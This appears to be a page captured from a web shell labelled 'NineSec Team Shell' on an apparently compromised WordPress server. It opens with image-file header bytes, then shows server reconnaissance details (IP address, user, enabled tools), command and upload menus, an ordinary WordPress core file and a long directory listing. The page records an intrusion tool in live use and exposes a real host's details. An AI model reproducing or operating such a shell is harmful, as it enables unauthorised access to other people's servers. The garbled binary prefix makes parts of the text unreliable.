�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/readytorun/domains/../cgi-bin/../public_html/wp-includes/blocks/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/readytorun/domains/../cgi-bin/../public_html/wp-includes/blocks/legacy-widget.php
<?php
/**
 * Server-side rendering of the `core/legacy-widget` block.
 *
 * @package WordPress
 */

/**
 * Renders the 'core/legacy-widget' block.
 *
 * @since 5.8.0
 *
 * @global WP_Widget_Factory $wp_widget_factory.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Rendered block.
 */
function render_block_core_legacy_widget( $attributes ) {
	global $wp_widget_factory;

	if ( isset( $attributes['id'] ) ) {
		$sidebar_id = wp_find_widgets_sidebar( $attributes['id'] );
		return wp_render_widget( $attributes['id'], $sidebar_id );
	}

	if ( ! isset( $attributes['idBase'] ) ) {
		return '';
	}

	$id_base       = $attributes['idBase'];
	$widget_key    = $wp_widget_factory->get_widget_key( $id_base );
	$widget_object = $wp_widget_factory->get_widget_object( $id_base );

	if ( ! $widget_key || ! $widget_object ) {
		return '';
	}

	if ( isset( $attributes['instance']['encoded'], $attributes['instance']['hash'] ) ) {
		$serialized_instance = base64_decode( $attributes['instance']['encoded'] );
		if ( ! hash_equals( wp_hash( $serialized_instance ), (string) $attributes['instance']['hash'] ) ) {
			return '';
		}
		$instance = unserialize( $serialized_instance );
	} else {
		$instance = array();
	}

	$args = array(
		'widget_id'   => $widget_object->id,
		'widget_name' => $widget_object->name,
	);

	ob_start();
	the_widget( $widget_key, $instance, $args );
	return ob_get_clean();
}

/**
 * Registers the 'core/legacy-widget' block.
 *
 * @since 5.8.0
 */
function register_block_core_legacy_widget() {
	register_block_type_from_metadata(
		__DIR__ . '/legacy-widget',
		array(
			'render_callback' => 'render_block_core_legacy_widget',
		)
	);
}

add_action( 'init', 'register_block_core_legacy_widget' );

/**
 * Intercepts any request with legacy-widget-preview in the query param and, if
 * set, renders a page containing a preview of the requested Legacy Widget
 * block.
 *
 * @since 5.8.0
 */
function handle_legacy_widget_preview_iframe() {
	if ( empty( $_GET['legacy-widget-preview'] ) ) {
		return;
	}

	if ( ! current_user_can( 'edit_theme_options' ) ) {
		return;
	}

	define( 'IFRAME_REQUEST', true );

	?>
	<!doctype html>
	<html <?php language_attributes(); ?>>
	<head>
		<meta charset="<?php bloginfo( 'charset' ); ?>" />
		<meta name="viewport" content="width=device-width, initial-scale=1" />
		<link rel="profile" href="https://gmpg.org/xfn/11" />
		<?php wp_head(); ?>
		<style>
			/* Reset theme styles */
			html, body, #page, #content {
				padding: 0 !important;
				margin: 0 !important;
			}

			/* Hide root level text nodes */
			body {
				font-size: 0 !important;
			}

			/* Hide non-widget elements */
			body *:not(#page):not(#content):not(.widget):not(.widget *) {
				display: none !important;
				font-size: 0 !important;
				height: 0 !important;
				left: -9999px !important;
				max-height: 0 !important;
				max-width: 0 !important;
				opacity: 0 !important;
				pointer-events: none !important;
				position: absolute !important;
				top: -9999px !important;
				transform: translate(-9999px, -9999px) !important;
				visibility: hidden !important;
				z-index: -999 !important;
			}

			/* Restore widget font-size */
			.widget {
				font-size: var(--global--font-size-base);
			}
		</style>
	</head>
	<body <?php body_class(); ?>>
		<div id="page" class="site">
			<div id="content" class="site-content">
				<?php
				$registry = WP_Block_Type_Registry::get_instance();
				$block    = $registry->get_registered( 'core/legacy-widget' );
				echo $block->render( $_GET['legacy-widget-preview'] );
				?>
			</div><!-- #content -->
		</div><!-- #page -->
		<?php wp_footer(); ?>
	</body>
	</html>
	<?php

	exit;
}

// Use admin_init instead of init to ensure get_current_screen function is already available.
// This isn't strictly required, but enables better compatibility with existing plugins.
// See: https://github.com/WordPress/gutenberg/issues/32624.
add_action( 'admin_init', 'handle_legacy_widget_preview_iframe', 20 );

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
December 03 2025 4:09:51
readytorun
0755
accordion
--
December 03 2025 4:09:51
readytorun
0755
accordion-heading
--
December 03 2025 4:09:51
readytorun
0755
accordion-item
--
December 03 2025 4:09:51
readytorun
0755
accordion-panel
--
December 03 2025 4:09:51
readytorun
0755
archives
--
January 25 2022 11:08:17
readytorun
0755
audio
--
January 25 2022 11:08:17
readytorun
0755
avatar
--
May 25 2022 12:14:08
readytorun
0755
block
--
July 24 2024 12:10:27
readytorun
0755
button
--
November 25 2021 9:10:13
readytorun
0755
buttons
--
November 25 2021 9:10:13
readytorun
0755
calendar
--
November 25 2021 9:10:13
readytorun
0755
categories
--
November 25 2021 9:10:13
readytorun
0755
code
--
November 02 2022 11:10:56
readytorun
0755
column
--
November 25 2021 9:10:13
readytorun
0755
columns
--
November 25 2021 9:10:13
readytorun
0755
comment-author-name
--
November 12 2024 11:09:05
readytorun
0755
comment-content
--
May 25 2022 12:14:08
readytorun
0755
comment-date
--
November 12 2024 11:09:05
readytorun
0755
comment-edit-link
--
November 12 2024 11:09:05
readytorun
0755
comment-reply-link
--
November 12 2024 11:09:05
readytorun
0755
comment-template
--
May 25 2022 12:14:08
readytorun
0755
comments
--
November 02 2022 11:10:56
readytorun
0755
comments-pagination
--
May 25 2022 12:14:08
readytorun
0755
comments-pagination-next
--
May 25 2022 12:14:08
readytorun
0755
comments-pagination-numbers
--
May 25 2022 12:14:08
readytorun
0755
comments-pagination-previous
--
May 25 2022 12:14:08
readytorun
0755
comments-title
--
May 25 2022 12:14:08
readytorun
0755
cover
--
November 25 2021 9:10:13
readytorun
0755
details
--
August 09 2023 12:04:55
readytorun
0755
embed
--
January 25 2022 11:08:17
readytorun
0755
file
--
January 25 2022 11:08:17
readytorun
0755
footnotes
--
August 09 2023 12:04:55
readytorun
0755
freeform
--
November 25 2021 9:10:13
readytorun
0755
gallery
--
January 25 2022 11:08:17
readytorun
0755
group
--
January 25 2022 11:08:17
readytorun
0755
heading
--
January 25 2022 11:08:18
readytorun
0755
home-link
--
May 25 2022 12:14:08
readytorun
0755
html
--
November 25 2021 9:10:13
readytorun
0755
image
--
November 07 2023 11:08:16
readytorun
0755
latest-comments
--
November 25 2021 9:10:13
readytorun
0755
latest-posts
--
November 25 2021 9:10:13
readytorun
0755
legacy-widget
--
November 25 2021 9:10:13
readytorun
0755
list
--
November 25 2021 9:10:13
readytorun
0755
list-item
--
November 02 2022 11:10:56
readytorun
0755
loginout
--
November 12 2024 11:09:05
readytorun
0755
math
--
December 03 2025 4:09:51
readytorun
0755
media-text
--
November 25 2021 9:10:13
readytorun
0755
missing
--
November 25 2021 9:10:13
readytorun
0755
more
--
November 25 2021 9:10:13
readytorun
0755
navigation
--
November 07 2023 11:08:17
readytorun
0755
navigation-link
--
January 25 2022 11:08:17
readytorun
0755
navigation-submenu
--
January 25 2022 11:08:17
readytorun
0755
nextpage
--
November 25 2021 9:10:13
readytorun
0755
page-list
--
November 25 2021 9:10:13
readytorun
0755
page-list-item
--
March 30 2023 12:08:12
readytorun
0755
paragraph
--
November 25 2021 9:10:13
readytorun
0755
pattern
--
January 25 2022 11:08:17
readytorun
0755
post-author
--
December 03 2025 4:09:52
readytorun
0755
post-author-biography
--
November 12 2024 11:09:05
readytorun
0755
post-author-name
--
November 12 2024 11:09:05
readytorun
0755
post-comments-count
--
December 03 2025 4:09:51
readytorun
0755
post-comments-form
--
May 25 2022 12:14:08
readytorun
0755
post-comments-link
--
December 03 2025 4:09:51
readytorun
0755
post-content
--
April 16 2025 1:08:18
readytorun
0755
post-date
--
November 02 2022 11:10:56
readytorun
0755
post-excerpt
--
November 25 2021 9:10:13
readytorun
0755
post-featured-image
--
November 25 2021 9:10:13
readytorun
0755
post-navigation-link
--
March 30 2023 12:08:12
readytorun
0755
post-template
--
April 16 2025 1:08:18
readytorun
0755
post-terms
--
January 25 2022 11:08:17
readytorun
0755
post-time-to-read
--
December 03 2025 4:09:51
readytorun
0755
post-title
--
November 25 2021 9:10:13
readytorun
0755
preformatted
--
November 25 2021 9:10:13
readytorun
0755
pullquote
--
January 25 2022 11:08:17
readytorun
0755
query
--
April 03 2024 12:08:17
readytorun
0755
query-no-results
--
May 25 2022 12:14:08
readytorun
0755
query-pagination
--
November 25 2021 9:10:13
readytorun
0755
query-pagination-next
--
November 25 2021 9:10:13
readytorun
0755
query-pagination-numbers
--
November 25 2021 9:10:13
readytorun
0755
query-pagination-previous
--
November 25 2021 9:10:13
readytorun
0755
query-title
--
November 02 2022 11:10:56
readytorun
0755
query-total
--
April 16 2025 1:08:17
readytorun
0755
quote
--
January 25 2022 11:08:17
readytorun
0755
read-more
--
May 25 2022 12:14:08
readytorun
0755
rss
--
November 25 2021 9:10:13
readytorun
0755
search
--
August 09 2023 12:04:55
readytorun
0755
separator
--
January 25 2022 11:08:17
readytorun
0755
shortcode
--
November 25 2021 9:10:13
readytorun
0755
site-logo
--
November 25 2021 9:10:13
readytorun
0755
site-tagline
--
November 12 2024 11:09:05
readytorun
0755
site-title
--
March 30 2023 12:08:12
readytorun
0755
social-link
--
November 25 2021 9:10:13
readytorun
0755
social-links
--
November 25 2021 9:10:13
readytorun
0755
spacer
--
November 25 2021 9:10:13
readytorun
0755
table
--
January 25 2022 11:08:17
readytorun
0755
tag-cloud
--
November 12 2024 11:09:05
readytorun
0755
template-part
--
January 25 2022 11:08:17
readytorun
0755
term-count
--
December 03 2025 4:09:51
readytorun
0755
term-description
--
August 09 2023 12:04:55
readytorun
0755
term-name
--
December 03 2025 4:09:51
readytorun
0755
term-template
--
December 03 2025 4:09:51
readytorun
0755
terms-query
--
December 03 2025 4:09:51
readytorun
0755
text-columns
--
November 25 2021 9:10:13
readytorun
0755
verse
--
November 25 2021 9:10:13
readytorun
0755
video
--
January 25 2022 11:08:17
readytorun
0755
widget-group
--
January 25 2022 11:08:17
readytorun
0755
accordion-item.php
2.354 KB
December 03 2025 4:09:51
readytorun
0644
accordion.php
1.12 KB
December 03 2025 4:09:51
readytorun
0644
archives.php
4.312 KB
December 03 2025 4:09:51
readytorun
0644
avatar.php
5.61 KB
November 12 2024 11:09:05
readytorun
0644
block.php
4.088 KB
December 03 2025 4:09:51
readytorun
0644
blocks-json.php
213.453 KB
December 03 2025 4:09:51
readytorun
0644
button.php
1.711 KB
December 03 2025 4:09:51
readytorun
0644
calendar.php
5.933 KB
July 17 2024 12:09:28
readytorun
0644
categories.php
4.541 KB
December 03 2025 4:09:51
readytorun
0644
comment-author-name.php
2.083 KB
July 17 2024 12:09:28
readytorun
0644
comment-content.php
2.401 KB
July 17 2024 12:09:28
readytorun
0644
comment-date.php
1.819 KB
November 12 2024 11:09:05
readytorun
0644
comment-edit-link.php
1.673 KB
July 17 2024 12:09:28
readytorun
0644
comment-reply-link.php
2.026 KB
July 17 2024 12:09:28
readytorun
0644
comment-template.php
4.389 KB
July 17 2024 12:09:28
readytorun
0644
comments-pagination-next.php
1.879 KB
November 12 2024 11:09:05
readytorun
0644
comments-pagination-numbers.php
1.594 KB
July 17 2024 12:09:28
readytorun
0644
comments-pagination-previous.php
1.748 KB
November 12 2024 11:09:05
readytorun
0644
comments-pagination.php
1.231 KB
December 03 2025 4:09:51
readytorun
0644
comments-title.php
2.707 KB
July 17 2024 12:09:28
readytorun
0644
comments.php
6.625 KB
December 03 2025 4:09:51
readytorun
0644
cover.php
3.101 KB
April 16 2025 1:08:17
readytorun
0644
file.php
1.835 KB
December 03 2025 4:09:51
readytorun
0644
footnotes.php
3.683 KB
April 03 2024 12:08:17
readytorun
0644
gallery.php
6.288 KB
December 03 2025 4:09:51
readytorun
0644
heading.php
1.271 KB
July 17 2024 12:09:28
readytorun
0644
home-link.php
5.311 KB
April 16 2025 1:08:17
readytorun
0644
image.php
13.5 KB
December 03 2025 4:09:51
readytorun
0644
index.php
4.991 KB
November 12 2024 11:09:05
readytorun
0644
latest-comments.php
4.912 KB
December 03 2025 4:09:51
readytorun
0644
latest-posts.php
8.529 KB
December 03 2025 4:09:51
readytorun
0644
legacy-widget.php
3.917 KB
December 03 2025 4:09:51
readytorun
0644
list.php
1.243 KB
July 17 2024 12:09:28
readytorun
0644
loginout.php
1.625 KB
December 03 2025 4:09:51
readytorun
0644
media-text.php
4.28 KB
November 12 2024 11:09:05
readytorun
0644
navigation-link.php
13.634 KB
December 03 2025 4:09:51
readytorun
0644
navigation-submenu.php
9.742 KB
December 03 2025 4:09:51
readytorun
0644
navigation.php
48.389 KB
December 03 2025 4:09:51
readytorun
0644
page-list-item.php
0.353 KB
July 17 2024 12:09:28
readytorun
0644
page-list.php
13.292 KB
November 12 2024 11:09:05
readytorun
0644
pattern.php
1.746 KB
April 16 2025 1:08:17
readytorun
0644
post-author-biography.php
1.488 KB
July 17 2024 12:09:28
readytorun
0644
post-author-name.php
1.905 KB
May 01 2025 12:08:09
readytorun
0644
post-author.php
2.67 KB
May 01 2025 12:08:09
readytorun
0644
post-comments-count.php
1.245 KB
December 03 2025 4:09:51
readytorun
0644
post-comments-form.php
2.739 KB
July 17 2024 12:09:28
readytorun
0644
post-comments-link.php
2.185 KB
December 03 2025 4:09:51
readytorun
0644
post-content.php
2.292 KB
December 03 2025 4:09:51
readytorun
0644
post-date.php
3.547 KB
December 03 2025 4:09:51
readytorun
0644
post-excerpt.php
3.527 KB
December 03 2025 4:09:51
readytorun
0644
post-featured-image.php
9.144 KB
December 03 2025 4:09:51
readytorun
0644
post-navigation-link.php
4.724 KB
July 17 2024 12:09:28
readytorun
0644
post-template.php
5.614 KB
July 17 2024 12:09:28
readytorun
0644
post-terms.php
3.555 KB
April 16 2025 1:08:17
readytorun
0644
post-time-to-read.php
6.341 KB
December 03 2025 4:09:51
readytorun
0644
post-title.php
2.088 KB
July 17 2024 12:09:28
readytorun
0644
query-no-results.php
1.804 KB
July 17 2024 12:09:28
readytorun
0644
query-pagination-next.php
3.692 KB
December 03 2025 4:09:51
readytorun
0644
query-pagination-numbers.php
4.658 KB
July 17 2024 12:09:28
readytorun
0644
query-pagination-previous.php
3.494 KB
December 03 2025 4:09:51
readytorun
0644
query-pagination.php
1.148 KB
July 17 2024 12:09:28
readytorun
0644
query-title.php
2.874 KB
December 03 2025 4:09:51
readytorun
0644
query-total.php
2.476 KB
April 16 2025 1:08:17
readytorun
0644
query.php
5.557 KB
April 16 2025 1:08:17
readytorun
0644
read-more.php
1.787 KB
July 17 2024 12:09:28
readytorun
0644
require-dynamic-blocks.php
4.59 KB
December 03 2025 4:09:51
readytorun
0644
require-static-blocks.php
0.545 KB
December 03 2025 4:09:51
readytorun
0644
rss.php
4.501 KB
December 03 2025 4:09:51
readytorun
0644
search.php
23.259 KB
December 03 2025 4:09:51
readytorun
0644
shortcode.php
0.718 KB
July 17 2024 12:09:28
readytorun
0644
site-logo.php
6.186 KB
November 12 2024 11:09:05
readytorun
0644
site-tagline.php
1.175 KB
July 17 2024 12:09:28
readytorun
0644
site-title.php
1.82 KB
December 03 2025 4:09:51
readytorun
0644
social-link.php
66.147 KB
December 03 2025 4:09:51
readytorun
0644
tag-cloud.php
1.553 KB
November 12 2024 11:09:05
readytorun
0644
template-part.php
9.916 KB
April 16 2025 1:08:17
readytorun
0644
term-count.php
1.8 KB
December 03 2025 4:09:51
readytorun
0644
term-description.php
1.729 KB
December 03 2025 4:09:51
readytorun
0644
term-name.php
2.021 KB
December 03 2025 4:09:51
readytorun
0644
term-template.php
4.363 KB
December 03 2025 4:09:51
readytorun
0644
video.php
2.669 KB
December 03 2025 4:09:51
readytorun
0644
widget-group.php
2.381 KB
July 17 2024 12:09:28
readytorun
0644

NineSec Team - 2022